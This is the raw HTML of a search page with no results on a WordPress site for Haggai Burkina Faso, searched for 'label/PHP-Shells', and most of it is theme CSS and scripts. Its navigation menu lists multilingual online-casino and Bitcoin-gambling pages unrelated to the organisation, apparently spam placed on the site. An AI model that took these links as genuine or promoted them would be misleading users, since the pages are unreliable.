input{background-color:#eee;border:none!important;width:100%!important;border-radius:0!important;font-size:14px;color:#999!important;padding:16px!important;-webkit-box-sizing:border-box;box-sizing:border-box}.et_password_protected_form label{display:none}.et_password_protected_form .et_submit_button{font-family:inherit;display:block;float:right;margin:8px auto 0;cursor:pointer}.post-password-required p.nocomments.container{max-width:100%}.post-password-required p.nocomments.container:before{display:none}.aligncenter,div.post .new-post .aligncenter{display:block;margin-left:auto;margin-right:auto}.wp-caption{border:1px solid #ddd;text-align:center;background-color:#f3f3f3;margin-bottom:10px;max-width:96%;padding:8px}.wp-caption.alignleft{margin:0 30px 20px 0}.wp-caption.alignright{margin:0 0 20px 30px}.wp-caption img{margin:0;padding:0;border:0}.wp-caption p.wp-caption-text{font-size:12px;padding:0 4px 5px;margin:0}.alignright{float:right}.alignleft{float:left}img.alignleft{display:inline;float:left;margin-right:15px}img.alignright{display:inline;float:right;margin-left:15px}.page.et_pb_pagebuilder_layout #main-content{background-color:transparent}body #main-content .et_builder_inner_content>h1,body #main-content .et_builder_inner_content>h2,body #main-content .et_builder_inner_content>h3,body #main-content .et_builder_inner_content>h4,body #main-content .et_builder_inner_content>h5,body #main-content .et_builder_inner_content>h6{line-height:1.4em}body #main-content .et_builder_inner_content>p{line-height:1.7em}.wp-block-pullquote{margin:20px 0 30px}.wp-block-pullquote.has-background blockquote{border-left:none}.wp-block-group.has-background{padding:1.5em 1.5em .5em}@media (min-width:981px){#left-area{width:79.125%;padding-bottom:23px}#main-content .container:before{content:"";position:absolute;top:0;height:100%;width:1px;background-color:#e2e2e2}.et_full_width_page #left-area,.et_no_sidebar #left-area{float:none;width:100%!important}.et_full_width_page #left-area{padding-bottom:0}.et_no_sidebar #main-content .container:before{display:none}}@media (max-width:980px){#page-container{padding-top:80px}.et-tb #page-container,.et-tb-has-header #page-container{padding-top:0!important}#left-area,#sidebar{width:100%!important}#main-content .container:before{display:none!important}.et_full_width_page .et_gallery_item:nth-child(4n+1){clear:none}}@media print{#page-container{padding-top:0!important}}#wp-admin-bar-et-use-visual-builder a:before{font-family:ETmodules!important;content:"\e625";font-size:30px!important;width:28px;margin-top:-3px;color:#974df3!important}#wp-admin-bar-et-use-visual-builder:hover a:before{color:#fff!important}#wp-admin-bar-et-use-visual-builder:hover a,#wp-admin-bar-et-use-visual-builder a:hover{transition:background-color .5s ease;-webkit-transition:background-color .5s ease;-moz-transition:background-color .5s ease;background-color:#7e3bd0!important;color:#fff!important}* html .clearfix,:first-child+html .clearfix{zoom:1}.iphone .et_pb_section_video_bg video::-webkit-media-controls-start-playback-button{display:none!important;-webkit-appearance:none}.et_mobile_device .et_pb_section_parallax .et_pb_parallax_css{background-attachment:scroll}.et-social-facebook a.icon:before{content:"\e093"}.et-social-twitter a.icon:before{content:"\e094"}.et-social-google-plus a.icon:before{content:"\e096"}.et-social-instagram a.icon:before{content:"\e09a"}.et-social-rss a.icon:before{content:"\e09e"}.ai1ec-single-event:after{content:" ";display:table;clear:both}.evcal_event_details .evcal_evdata_cell .eventon_details_shading_bot.eventon_details_shading_bot{z-index:3}.wp-block-divi-layout{margin-bottom:1em}*{-webkit-box-sizing:border-box;box-sizing:border-box}#et-info-email:before,#et-info-phone:before,#et_search_icon:before,.comment-reply-link:after,.et-cart-info span:before,.et-pb-arrow-next:before,.et-pb-arrow-prev:before,.et-social-icon a:before,.et_audio_container .mejs-playpause-button button:before,.et_audio_container .mejs-volume-button button:before,.et_overlay:before,.et_password_protected_form .et_submit_button:after,.et_pb_button:after,.et_pb_contact_reset:after,.et_pb_contact_submit:after,.et_pb_font_icon:before,.et_pb_newsletter_button:after,.et_pb_pricing_table_button:after,.et_pb_promo_button:after,.et_pb_testimonial:before,.et_pb_toggle_title:before,.form-submit .et_pb_button:after,.mobile_menu_bar:before,a.et_pb_more_button:after{font-family:ETmodules!important;speak:none;font-style:normal;font-weight:400;-webkit-font-feature-settings:normal;font-feature-settings:normal;font-variant:normal;text-transform:none;line-height:1;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale;text-shadow:0 0;direction:ltr}.et-pb-icon,.et_pb_custom_button_icon.et_pb_button:after,.et_pb_login .et_pb_custom_button_icon.et_pb_button:after,.et_pb_woo_custom_button_icon .button.et_pb_custom_button_icon.et_pb_button:after,.et_pb_woo_custom_button_icon .button.et_pb_custom_button_icon.et_pb_button:hover:after{content:attr(data-icon)}.et-pb-icon{font-family:ETmodules;speak:none;font-weight:400;-webkit-font-feature-settings:normal;font-feature-settings:normal;font-variant:normal;text-transform:none;line-height:1;-webkit-font-smoothing:antialiased;font-size:96px;font-style:normal;display:inline-block;-webkit-box-sizing:border-box;box-sizing:border-box;direction:ltr}#et-ajax-saving{display:none;-webkit-transition:background .3s,-webkit-box-shadow .3s;transition:background .3s,-webkit-box-shadow .3s;transition:background .3s,box-shadow .3s;transition:background .3s,box-shadow .3s,-webkit-box-shadow .3s;-webkit-box-shadow:rgba(0,139,219,.247059) 0 0 60px;box-shadow:0 0 60px rgba(0,139,219,.247059);position:fixed;top:50%;left:50%;width:50px;height:50px;background:#fff;border-radius:50px;margin:-25px 0 0 -25px;z-index:999999;text-align:center}#et-ajax-saving img{margin:9px}.et-safe-mode-indicator,.et-safe-mode-indicator:focus,.et-safe-mode-indicator:hover{-webkit-box-shadow:0 5px 10px rgba(41,196,169,.15);box-shadow:0 5px 10px rgba(41,196,169,.15);background:#29c4a9;color:#fff;font-size:14px;font-weight:600;padding:12px;line-height:16px;border-radius:3px;position:fixed;bottom:30px;right:30px;z-index:999999;text-decoration:none;font-family:Open Sans,sans-serif;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}.et_pb_button{font-size:20px;font-weight:500;padding:.3em 1em;line-height:1.7em!important;background-color:transparent;background-size:cover;background-position:50%;background-repeat:no-repeat;border:2px solid;border-radius:3px;-webkit-transition-duration:.2s;transition-duration:.2s;-webkit-transition-property:all!important;transition-property:all!important}.et_pb_button,.et_pb_button_inner{position:relative}.et_pb_button:hover,.et_pb_module .et_pb_button:hover{border:2px solid transparent;padding:.3em 2em .3em .7em}.et_pb_button:hover{background-color:hsla(0,0%,100%,.2)}.et_pb_bg_layout_light.et_pb_button:hover,.et_pb_bg_layout_light .et_pb_button:hover{background-color:rgba(0,0,0,.05)}.et_pb_button:after,.et_pb_button:before{font-size:32px;line-height:1em;content:"\35";opacity:0;position:absolute;margin-left:-1em;-webkit-transition:all .2s;transition:all .2s;text-transform:none;-webkit-font-feature-settings:"kern" off;font-feature-settings:"kern" off;font-variant:none;font-style:normal;font-weight:400;text-shadow:none}.et_pb_button.et_hover_enabled:hover:after,.et_pb_button.et_pb_hovered:hover:after{-webkit-transition:none!important;transition:none!important}.et_pb_button:before{display:none}.et_pb_button:hover:after{opacity:1;margin-left:0}.et_pb_column_1_3 h1,.et_pb_column_1_4 h1,.et_pb_column_1_5 h1,.et_pb_column_1_6 h1,.et_pb_column_2_5 h1{font-size:26px}.et_pb_column_1_3 h2,.et_pb_column_1_4 h2,.et_pb_column_1_5 h2,.et_pb_column_1_6 h2,.et_pb_column_2_5 h2{font-size:23px}.et_pb_column_1_3 h3,.et_pb_column_1_4 h3,.et_pb_column_1_5 h3,.et_pb_column_1_6 h3,.et_pb_column_2_5 h3{font-size:20px}.et_pb_column_1_3 h4,.et_pb_column_1_4 h4,.et_pb_column_1_5 h4,.et_pb_column_1_6 h4,.et_pb_column_2_5 h4{font-size:18px}.et_pb_column_1_3 h5,.et_pb_column_1_4 h5,.et_pb_column_1_5 h5,.et_pb_column_1_6 h5,.et_pb_column_2_5 h5{font-size:16px}.et_pb_column_1_3 h6,.et_pb_column_1_4 h6,.et_pb_column_1_5 h6,.et_pb_column_1_6 h6,.et_pb_column_2_5 h6{font-size:15px}.et_pb_bg_layout_dark,.et_pb_bg_layout_dark h1,.et_pb_bg_layout_dark h2,.et_pb_bg_layout_dark h3,.et_pb_bg_layout_dark h4,.et_pb_bg_layout_dark h5,.et_pb_bg_layout_dark h6{color:#fff!important}.et_pb_module.et_pb_text_align_left{text-align:left}.et_pb_module.et_pb_text_align_center{text-align:center}.et_pb_module.et_pb_text_align_right{text-align:right}.et_pb_module.et_pb_text_align_justified{text-align:justify}.clearfix:after{visibility:hidden;display:block;font-size:0;content:" ";clear:both;height:0}.et_pb_bg_layout_light .et_pb_more_button{color:#2ea3f2}.et_builder_inner_content{position:relative;z-index:1}header .et_builder_inner_content{z-index:2}.et_pb_css_mix_blend_mode_passthrough{mix-blend-mode:unset!important}.et_pb_image_container{margin:-20px -20px 29px}.et_pb_module_inner{position:relative}.et_hover_enabled_preview{z-index:2}.et_hover_enabled:hover{position:relative;z-index:2}.et_pb_all_tabs,.et_pb_module,.et_pb_posts_nav a,.et_pb_tab,.et_pb_with_background{position:relative;background-size:cover;background-position:50%;background-repeat:no-repeat}.et_pb_background_mask,.et_pb_background_pattern{bottom:0;left:0;position:absolute;right:0;top:0}.et_pb_background_mask{background-size:calc(100% + 2px) calc(100% + 2px);background-repeat:no-repeat;background-position:50%;overflow:hidden}.et_pb_background_pattern{background-position:0 0;background-repeat:repeat}.et_pb_with_border{position:relative;border:0 solid #333}.post-password-required .et_pb_row{padding:0;width:100%}.post-password-required .et_password_protected_form{min-height:0}body.et_pb_pagebuilder_layout.et_pb_show_title .post-password-required .et_password_protected_form h1,body:not(.et_pb_pagebuilder_layout) .post-password-required .et_password_protected_form h1{display:none}.et_pb_no_bg{padding:0!important}.et_overlay.et_pb_inline_icon:before,.et_pb_inline_icon:before{content:attr(data-icon)}.et_pb_more_button{color:inherit;text-shadow:none;text-decoration:none;display:inline-block;margin-top:20px}.et_parallax_bg_wrap{overflow:hidden;position:absolute;top:0;right:0;bottom:0;left:0}.et_parallax_bg{background-repeat:no-repeat;background-position:top;background-size:cover;position:absolute;bottom:0;left:0;width:100%;height:100%;display:block}.et_parallax_bg.et_parallax_bg__hover,.et_parallax_bg.et_parallax_bg_phone,.et_parallax_bg.et_parallax_bg_tablet,.et_parallax_gradient.et_parallax_gradient__hover,.et_parallax_gradient.et_parallax_gradient_phone,.et_parallax_gradient.et_parallax_gradient_tablet,.et_pb_section_parallax_hover:hover .et_parallax_bg:not(.et_parallax_bg__hover),.et_pb_section_parallax_hover:hover .et_parallax_gradient:not(.et_parallax_gradient__hover){display:none}.et_pb_section_parallax_hover:hover .et_parallax_bg.et_parallax_bg__hover,.et_pb_section_parallax_hover:hover .et_parallax_gradient.et_parallax_gradient__hover{display:block}.et_parallax_gradient{bottom:0;display:block;left:0;position:absolute;right:0;top:0}.et_pb_module.et_pb_section_parallax,.et_pb_posts_nav a.et_pb_section_parallax,.et_pb_tab.et_pb_section_parallax{position:relative}.et_pb_section_parallax .et_pb_parallax_css,.et_pb_slides .et_parallax_bg.et_pb_parallax_css{background-attachment:fixed}body.et-bfb .et_pb_section_parallax .et_pb_parallax_css,body.et-bfb .et_pb_slides .et_parallax_bg.et_pb_parallax_css{background-attachment:scroll;bottom:auto}.et_pb_section_parallax.et_pb_column .et_pb_module,.et_pb_section_parallax.et_pb_row .et_pb_column,.et_pb_section_parallax.et_pb_row .et_pb_module{z-index:9;position:relative}.et_pb_more_button:hover:after{opacity:1;margin-left:0}.et_pb_preload .et_pb_section_video_bg,.et_pb_preload>div{visibility:hidden}.et_pb_preload,.et_pb_section.et_pb_section_video.et_pb_preload{position:relative;background:#464646!important}.et_pb_preload:before{content:"";position:absolute;top:50%;left:50%;background:url(http://haggai-bf.org/wp-content/themes/Divi/includes/builder/styles/images/preloader.gif) no-repeat;border-radius:32px;width:32px;height:32px;margin:-16px 0 0 -16px}.box-shadow-overlay{position:absolute;top:0;left:0;width:100%;height:100%;z-index:10;pointer-events:none}.et_pb_section>.box-shadow-overlay~.et_pb_row{z-index:11}body.safari .section_has_divider{will-change:transform}.et_pb_row>.box-shadow-overlay{z-index:8}.has-box-shadow-overlay{position:relative}.et_clickable{cursor:pointer}.screen-reader-text{border:0;clip:rect(1px,1px,1px,1px);-webkit-clip-path:inset(50%);clip-path:inset(50%);height:1px;margin:-1px;overflow:hidden;padding:0;position:absolute!important;width:1px;word-wrap:normal!important}.et_multi_view_hidden,.et_multi_view_hidden_image{display:none!important}@keyframes multi-view-image-fade{0%{opacity:0}10%{opacity:.1}20%{opacity:.2}30%{opacity:.3}40%{opacity:.4}50%{opacity:.5}60%{opacity:.6}70%{opacity:.7}80%{opacity:.8}90%{opacity:.9}to{opacity:1}}.et_multi_view_image__loading{visibility:hidden}.et_multi_view_image__loaded{-webkit-animation:multi-view-image-fade .5s;animation:multi-view-image-fade .5s}#et-pb-motion-effects-offset-tracker{visibility:hidden!important;opacity:0;position:absolute;top:0;left:0}.et-pb-before-scroll-animation{opacity:0}header.et-l.et-l--header:after{clear:both;display:block;content:""}.et_pb_module{-webkit-animation-timing-function:linear;animation-timing-function:linear;-webkit-animation-duration:.2s;animation-duration:.2s}@-webkit-keyframes fadeBottom{0%{opacity:0;-webkit-transform:translateY(10%);transform:translateY(10%)}to{opacity:1;-webkit-transform:translateY(0);transform:translateY(0)}}@keyframes fadeBottom{0%{opacity:0;-webkit-transform:translateY(10%);transform:translateY(10%)}to{opacity:1;-webkit-transform:translateY(0);transform:translateY(0)}}@-webkit-keyframes fadeLeft{0%{opacity:0;-webkit-transform:translateX(-10%);transform:translateX(-10%)}to{opacity:1;-webkit-transform:translateX(0);transform:translateX(0)}}@keyframes fadeLeft{0%{opacity:0;-webkit-transform:translateX(-10%);transform:translateX(-10%)}to{opacity:1;-webkit-transform:translateX(0);transform:translateX(0)}}@-webkit-keyframes fadeRight{0%{opacity:0;-webkit-transform:translateX(10%);transform:translateX(10%)}to{opacity:1;-webkit-transform:translateX(0);transform:translateX(0)}}@keyframes fadeRight{0%{opacity:0;-webkit-transform:translateX(10%);transform:translateX(10%)}to{opacity:1;-webkit-transform:translateX(0);transform:translateX(0)}}@-webkit-keyframes fadeTop{0%{opacity:0;-webkit-transform:translateY(-10%);transform:translateY(-10%)}to{opacity:1;-webkit-transform:translateX(0);transform:translateX(0)}}@keyframes fadeTop{0%{opacity:0;-webkit-transform:translateY(-10%);transform:translateY(-10%)}to{opacity:1;-webkit-transform:translateX(0);transform:translateX(0)}}@-webkit-keyframes fadeIn{0%{opacity:0}to{opacity:1}}@keyframes fadeIn{0%{opacity:0}to{opacity:1}}.et-waypoint:not(.et_pb_counters){opacity:0}@media (min-width:981px){.et_pb_section.et_section_specialty div.et_pb_row .et_pb_column .et_pb_column .et_pb_module.et-last-child,.et_pb_section.et_section_specialty div.et_pb_row .et_pb_column .et_pb_column .et_pb_module:last-child,.et_pb_section.et_section_specialty div.et_pb_row .et_pb_column .et_pb_row_inner .et_pb_column .et_pb_module.et-last-child,.et_pb_section.et_section_specialty div.et_pb_row .et_pb_column .et_pb_row_inner .et_pb_column .et_pb_module:last-child,.et_pb_section div.et_pb_row .et_pb_column .et_pb_module.et-last-child,.et_pb_section div.et_pb_row .et_pb_column .et_pb_module:last-child{margin-bottom:0}}@media (max-width:980px){.et_overlay.et_pb_inline_icon_tablet:before,.et_pb_inline_icon_tablet:before{content:attr(data-icon-tablet)}.et_parallax_bg.et_parallax_bg_tablet_exist,.et_parallax_gradient.et_parallax_gradient_tablet_exist{display:none}.et_parallax_bg.et_parallax_bg_tablet,.et_parallax_gradient.et_parallax_gradient_tablet{display:block}.et_pb_column .et_pb_module{margin-bottom:30px}.et_pb_row .et_pb_column .et_pb_module.et-last-child,.et_pb_row .et_pb_column .et_pb_module:last-child,.et_section_specialty .et_pb_row .et_pb_column .et_pb_module.et-last-child,.et_section_specialty .et_pb_row .et_pb_column .et_pb_module:last-child{margin-bottom:0}.et_pb_more_button{display:inline-block!important}.et_pb_bg_layout_light_tablet.et_pb_button,.et_pb_bg_layout_light_tablet.et_pb_module.et_pb_button,.et_pb_bg_layout_light_tablet .et_pb_more_button{color:#2ea3f2}.et_pb_bg_layout_light_tablet .et_pb_forgot_password a{color:#666}.et_pb_bg_layout_light_tablet h1,.et_pb_bg_layout_light_tablet h2,.et_pb_bg_layout_light_tablet h3,.et_pb_bg_layout_light_tablet h4,.et_pb_bg_layout_light_tablet h5,.et_pb_bg_layout_light_tablet h6{color:#333!important}.et_pb_module .et_pb_bg_layout_light_tablet.et_pb_button{color:#2ea3f2!important}.et_pb_bg_layout_light_tablet{color:#666!important}.et_pb_bg_layout_dark_tablet,.et_pb_bg_layout_dark_tablet h1,.et_pb_bg_layout_dark_tablet h2,.et_pb_bg_layout_dark_tablet h3,.et_pb_bg_layout_dark_tablet h4,.et_pb_bg_layout_dark_tablet h5,.et_pb_bg_layout_dark_tablet h6{color:#fff!important}.et_pb_bg_layout_dark_tablet.et_pb_button,.et_pb_bg_layout_dark_tablet.et_pb_module.et_pb_button,.et_pb_bg_layout_dark_tablet .et_pb_more_button{color:inherit}.et_pb_bg_layout_dark_tablet .et_pb_forgot_password a{color:#fff}.et_pb_module.et_pb_text_align_left-tablet{text-align:left}.et_pb_module.et_pb_text_align_center-tablet{text-align:center}.et_pb_module.et_pb_text_align_right-tablet{text-align:right}.et_pb_module.et_pb_text_align_justified-tablet{text-align:justify}}@media (max-width:767px){.et_pb_more_button{display:inline-block!important}.et_overlay.et_pb_inline_icon_phone:before,.et_pb_inline_icon_phone:before{content:attr(data-icon-phone)}.et_parallax_bg.et_parallax_bg_phone_exist,.et_parallax_gradient.et_parallax_gradient_phone_exist{display:none}.et_parallax_bg.et_parallax_bg_phone,.et_parallax_gradient.et_parallax_gradient_phone{display:block}.et-hide-mobile{display:none!important}.et_pb_bg_layout_light_phone.et_pb_button,.et_pb_bg_layout_light_phone.et_pb_module.et_pb_button,.et_pb_bg_layout_light_phone .et_pb_more_button{color:#2ea3f2}.et_pb_bg_layout_light_phone .et_pb_forgot_password a{color:#666}.et_pb_bg_layout_light_phone h1,.et_pb_bg_layout_light_phone h2,.et_pb_bg_layout_light_phone h3,.et_pb_bg_layout_light_phone h4,.et_pb_bg_layout_light_phone h5,.et_pb_bg_layout_light_phone h6{color:#333!important}.et_pb_module .et_pb_bg_layout_light_phone.et_pb_button{color:#2ea3f2!important}.et_pb_bg_layout_light_phone{color:#666!important}.et_pb_bg_layout_dark_phone,.et_pb_bg_layout_dark_phone h1,.et_pb_bg_layout_dark_phone h2,.et_pb_bg_layout_dark_phone h3,.et_pb_bg_layout_dark_phone h4,.et_pb_bg_layout_dark_phone h5,.et_pb_bg_layout_dark_phone h6{color:#fff!important}.et_pb_bg_layout_dark_phone.et_pb_button,.et_pb_bg_layout_dark_phone.et_pb_module.et_pb_button,.et_pb_bg_layout_dark_phone .et_pb_more_button{color:inherit}.et_pb_module .et_pb_bg_layout_dark_phone.et_pb_button{color:#fff!important}.et_pb_bg_layout_dark_phone .et_pb_forgot_password a{color:#fff}.et_pb_module.et_pb_text_align_left-phone{text-align:left}.et_pb_module.et_pb_text_align_center-phone{text-align:center}.et_pb_module.et_pb_text_align_right-phone{text-align:right}.et_pb_module.et_pb_text_align_justified-phone{text-align:justify}}@media (max-width:479px){a.et_pb_more_button{display:block}}@media (min-width:768px) and (max-width:980px){[data-et-multi-view-load-tablet-hidden=true]:not(.et_multi_view_swapped){display:none!important}}@media (max-width:767px){[data-et-multi-view-load-phone-hidden=true]:not(.et_multi_view_swapped){display:none!important}}.et_pb_menu.et_pb_menu--style-inline_centered_logo .et_pb_menu__menu nav ul{-webkit-box-pack:center;-ms-flex-pack:center;justify-content:center}@-webkit-keyframes multi-view-image-fade{0%{-webkit-transform:scale(1);transform:scale(1);opacity:1}50%{-webkit-transform:scale(1.01);transform:scale(1.01);opacity:1}to{-webkit-transform:scale(1);transform:scale(1);opacity:1}}
/*# sourceURL=divi-style-parent-inline-inline-css */
</style>
<link rel='stylesheet' id='divi-dynamic-css' href='http://haggai-bf.org/wp-content/et-cache/search/et-divi-dynamic.css?ver=1780303556' media='all' />
<link rel='stylesheet' id='divi-style-css' href='http://haggai-bf.org/wp-content/themes/Divi-child/style.css?ver=4.27.6' media='all' />
<link rel="https://api.w.org/" href="https://haggai-bf.org/wp-json/" /><link rel="EditURI" type="application/rsd+xml" title="RSD" href="https://haggai-bf.org/xmlrpc.php?rsd" />
<meta name="generator" content="WordPress 7.0" />
<meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=0" /><link rel="icon" href="https://haggai-bf.org/wp-content/uploads/2025/03/Logo_Haggai-BF-150x150.png" sizes="32x32" />
<link rel="icon" href="https://haggai-bf.org/wp-content/uploads/2025/03/Logo_Haggai-BF.png" sizes="192x192" />
<link rel="apple-touch-icon" href="https://haggai-bf.org/wp-content/uploads/2025/03/Logo_Haggai-BF.png" />
<meta name="msapplication-TileImage" content="https://haggai-bf.org/wp-content/uploads/2025/03/Logo_Haggai-BF.png" />
<link rel="stylesheet" id="et-divi-customizer-global-cached-inline-styles" href="http://haggai-bf.org/wp-content/et-cache/global/et-divi-customizer-global.min.css?ver=1780281736" /></head>
<body class="search search-no-results wp-custom-logo wp-theme-Divi wp-child-theme-Divi-child et_pb_button_helper_class et_fixed_nav et_show_nav et_primary_nav_dropdown_animation_fade et_secondary_nav_dropdown_animation_fade et_header_style_left et_pb_footer_columns4 et_cover_background et_pb_gutter et_pb_gutters3 et_right_sidebar et_divi_theme et-db">
	<div id="page-container">

	
	
			<header id="main-header" data-height-onload="66">
			<div class="container clearfix et_menu_container">
							<div class="logo_container">
					<span class="logo_helper"></span>
					<a href="https://haggai-bf.org/">
						<img src="https://haggai-bf.org/wp-content/uploads/2025/03/Logo_Haggai-BF.png" width="931" height="742" alt="HAGGAI BURKINA FASO" id="logo" data-height-percentage="54" />
					</a>
				</div>
							<div id="et-top-navigation" data-height="66" data-fixed-height="40">
											<nav id="top-menu-nav">
													<ul id="top-menu" class="nav">
																	<li ><a href="https://haggai-bf.org/">Accueil</a></li>
								
								<li class="page_item page-item-844"><a href="https://haggai-bf.org/bitcoin-jatszani-fiokellenorzes-utmutato/">Bitcoin játszani – fiókellenőrzés útmutató</a></li>
<li class="page_item page-item-840"><a href="https://haggai-bf.org/bitcoin-kasino-v-ceske-republice-kompletni-pruvodce-bonusy-rychle-vybery-a-bezpecnost/">Bitcoin kasino v České republice – kompletní průvodce, bonusy, rychlé výběry a bezpečnost</a></li>
<li class="page_item page-item-838"><a href="https://haggai-bf.org/btc-hrat-aplikace-a-mobilni-pruvodce/">BTC hrát: aplikace a mobilní průvodce</a></li>
<li class="page_item page-item-469"><a href="https://haggai-bf.org/canli-casino-siteleri-2026-en-iyi-ve-guvenilir-casino-listesi/">Canlı Casino Siteleri 2026 &#8211; En İyi ve Güvenilir Casino Listesi</a></li>
<li class="page_item page-item-832"><a href="https://haggai-bf.org/casino-bitcoin-guia-paso-a-paso-para-registrarte-e-iniciar-sesion/">Casino Bitcoin: guía paso a paso para registrarte e iniciar sesión</a></li>
<li class="page_item page-item-847"><a href="https://haggai-bf.org/crypto-casino-europe-review-bonuses-payments-mobile-guide-for-dutch-players/">Crypto Casino Europe Review – Bonuses, Payments &#038; Mobile Guide for Dutch Players</a></li>
<li class="page_item page-item-239"><a href="https://haggai-bf.org/magyar-casino-online-fiokellenorzes-lepesei-praktikus-utmutato/">Magyar casino online fiókellenőrzés lépései – Praktikus útmutató</a></li>
<li class="page_item page-item-41"><a href="https://haggai-bf.org/nous-contacter/">Nous contacter</a></li>
<li class="page_item page-item-828"><a href="https://haggai-bf.org/pin-up-az-rbaycanin-n-yaxsi-kazinosu-r-smi-sayt/">Pin Up &#8211; Azərbaycanın ən yaxşı kazinosu | Rəsmi sayt</a></li>
<li class="page_item page-item-826"><a href="https://haggai-bf.org/pin-up-casino-az-rbaycanda-onlayn-kazino-pin-up/">Pin Up Casino &#8211; Azərbaycanda onlayn kazino Pin-Up</a></li>
<li class="page_item page-item-821"><a href="https://haggai-bf.org/pin-up-casino-onlayn-az-rbaycan/">Pin Up Casino Onlayn Azərbaycan</a></li>
									<li class="cat-item cat-item-11"><a href="https://haggai-bf.org/category/public/">public</a>
</li>
							</ul>
												</nav>
					
					
					
											<div id="et_top_search">
							<span id="et_search_icon"></span>
						</div>
					
					<div id="et_mobile_nav_menu">
				<div class="mobile_nav closed">
					<span class="select_page">Sélectionner une page</span>
					<span class="mobile_menu_bar mobile_menu_bar_toggle"></span>
				</div>
			</div>				</div> <!-- #et-top-navigation -->
			</div> <!-- .container -->
						<div class="et_search_outer">
				<div class="container et_search_form_container">
					<form role="search" method="get" class="et-search-form" action="https://haggai-bf.org/">
					<input type="search" class="et-search-field" placeholder="Rechercher &hellip;" value="label/PHP-Shells" name="s" title="Rechercher:" />					</form>
					<span class="et_close_search_field"></span>
				</div>
			</div>
					</header> <!-- #main-header -->
			<div id="et-main-area">
	
<div id="main-content">
	<div class="container">
		<div id="content-area" class="clearfix">
			<div id="left-area">
		<div class="entry">
	<h1 class="not-found-title">Aucun résultat</h1>
	<p>La page demandée est introuvable. Essayez d&#039;affiner votre recherche ou utilisez le panneau de navigation ci-dessus pour localiser l&#039;article.</p>
</div>
			</div>

					</div>
	</div>
</div>


			<footer id="main-footer">
				

		
				<div id="footer-bottom">
					<div class="container clearfix">
				<ul class="et-social-icons">

	<li class="et-social-icon et-social-facebook">
		<a href="#" class="icon">
			<span>Facebook</span>
		</a>
	</li>
	<li class="et-social-icon et-social-twitter">
		<a href="#" class="icon">
			<span>X</span>
		</a>
	</li>
	<li class="et-social-icon et-social-instagram">
		<a href="#" class="icon">
			<span>Instagram</span>
		</a>
	</li>
	<li class="et-social-icon et-social-rss">
		<a href="https://haggai-bf.org/feed/" class="icon">
			<span>RSS</span>
		</a>
	</li>

</ul><div id="footer-info">Design JRB XSolutions |  (c) 2025 HAGGAI BURKINA FASO</div>					</div>
				</div>
			</footer>
		</div>


	</div>

	<script type="speculationrules">
{"prefetch":[{"source":"document","where":{"and":[{"href_matches":"/*"},{"not":{"href_matches":["/wp-*.php","/wp-admin/*","/wp-content/uploads/*","/wp-content/*","/wp-content/plugins/*","/wp-content/themes/Divi-child/*","/wp-content/themes/Divi/*","/*\\?(.+)"]}},{"not":{"selector_matches":"a[rel~=\"nofollow\"]"}},{"not":{"selector_matches":".no-prefetch, .no-prefetch a"}}]},"eagerness":"conservative"}]}
</script>
<script id="jquery-core-js" src="http://haggai-bf.org/wp-includes/js/jquery/jquery.min.js?ver=3.7.1"></script>
<script id="jquery-migrate-js" src="http://haggai-bf.org/wp-includes/js/jquery/jquery-migrate.min.js?ver=3.4.1"></script>
<script id="jquery-js-after">
jqueryParams.length&&$.each(jqueryParams,function(e,r){if("function"==typeof r){var n=String(r);n.replace("$","jQuery");var a=new Function("return "+n)();$(document).ready(a)}});
//# sourceURL=jquery-js-after
</script>
<script id="divi-custom-script-js-extra">
var DIVI = {"item_count":"%d Item","items_count":"%d Items"};
var et_builder_utils_params = {"condition":{"diviTheme":true,"extraTheme":false},"scrollLocations":["app","top"],"builderScrollLocations":{"desktop":"app","tablet":"app","phone":"app"},"onloadScrollLocation":"app","builderType":"fe"};
var et_frontend_scripts = {"builderCssContainerPrefix":"#et-boc","builderCssLayoutPrefix":"#et-boc .et-l"};
var et_pb_custom = {"ajaxurl":"http://haggai-bf.org/wp-admin/admin-ajax.php","images_uri":"http://haggai-bf.org/wp-content/themes/Divi/images","builder_images_uri":"http://haggai-bf.org/wp-content/themes/Divi/includes/builder/images","et_frontend_nonce":"1ba54686f7","subscription_failed":"Veuillez v\u00e9rifier les champs ci-dessous pour vous assurer que vous avez entr\u00e9 les informations correctes.","et_ab_log_nonce":"6e1a125dd2","fill_message":"S'il vous pla\u00eet, remplissez les champs suivants:","contact_error_message":"Veuillez corriger les erreurs suivantes :","invalid":"E-mail non valide","captcha":"Captcha","prev":"Pr\u00e9c\u00e9dent","previous":"Pr\u00e9c\u00e9dente","next":"Prochaine","wrong_captcha":"Vous avez entr\u00e9 le mauvais num\u00e9ro dans le captcha.","wrong_checkbox":"Case \u00e0 cocher","ignore_waypoints":"no","is_divi_theme_used":"1","widget_search_selector":".widget_search","ab_tests":[],"is_ab_testing_active":"","page_id":"","unique_test_id":"","ab_bounce_rate":"","is_cache_plugin_active":"yes","is_shortcode_tracking":"","tinymce_uri":"http://haggai-bf.org/wp-content/themes/Divi/includes/builder/frontend-builder/assets/vendors","accent_color":"#7EBEC5","waypoints_options":[]};
var et_pb_box_shadow_elements = [];
//# sourceURL=divi-custom-script-js-extra
</script>
<script id="divi-custom-script-js" src="http://haggai-bf.org/wp-content/themes/Divi/js/scripts.min.js?ver=4.27.6"></script>
<script id="fitvids-js" src="http://haggai-bf.org/wp-content/themes/Divi/includes/builder/feature/dynamic-assets/assets/js/jquery.fitvids.js?ver=4.27.6"></script>
<script id="et-core-common-js" src="http://haggai-bf.org/wp-content/themes/Divi/core/admin/js/common.js?ver=4.27.6"></script>
</body>
</html>
